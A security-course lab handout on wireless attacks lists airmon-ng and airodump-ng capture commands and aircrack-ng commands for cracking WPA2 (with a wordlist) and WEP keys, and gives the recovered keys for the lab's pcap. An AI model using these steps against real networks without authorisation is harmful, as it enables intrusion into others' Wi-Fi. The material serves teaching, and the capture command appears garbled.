Lab 10 - Wireless Network Attacks

**Objectives**

* Become familiar with capturing wireless network traffic.
* Become familiar with cracking wireless network traffic.

**Pre-Lab**

For this lab, you'll need your Kali VM.

0. **Background on how the PCAP was captured**

This is to provide background on how to capture wireless traffic, should you want to perform this activity outside of class, and is not a part of the lab itself. As discussed in class, you'll need a Wireless card capable of capturing traffic such as an Alfa card.

Below are the commands you'd use to perform a capture of wireless traffic live, assuming you also have the correct wireless cards plugged into Kali.

* iwconfig
* ifconfig wlan0 up
* airmon-ng wlan0 start
* ifconfig -> verify mon0 exists
* airodump-ng mon0 – -bssid – –channel ## – –write

1. **Using aircrack-ng to crack wireless traffic**

Once you have captured the traffic, you can perform the following command to crack it, or for our purposes, begin the lab using the "Wireless Traffic.pcap" file located in the Kali webserver under lab-files/pcaps.

To crack a WPA2 network, using a wordlist files such as Dark0de.lst:

* aircrack-ng <airodump-ng filename.cap> -w <wordlist file>

A screenshot of a computer

Description automatically generated

We cracked the WPA2 password for the wireless network present in the pcap file. The key is absentminded.

To crack a WEP network:

* aircrack-ng <airodump-ng filename.cap>

A screenshot of a computer

Description automatically generated

We cracked the WEP network and the key is FB:83:5B:A0:51:B5:82:DF:BB:2D:DE:DE:E1.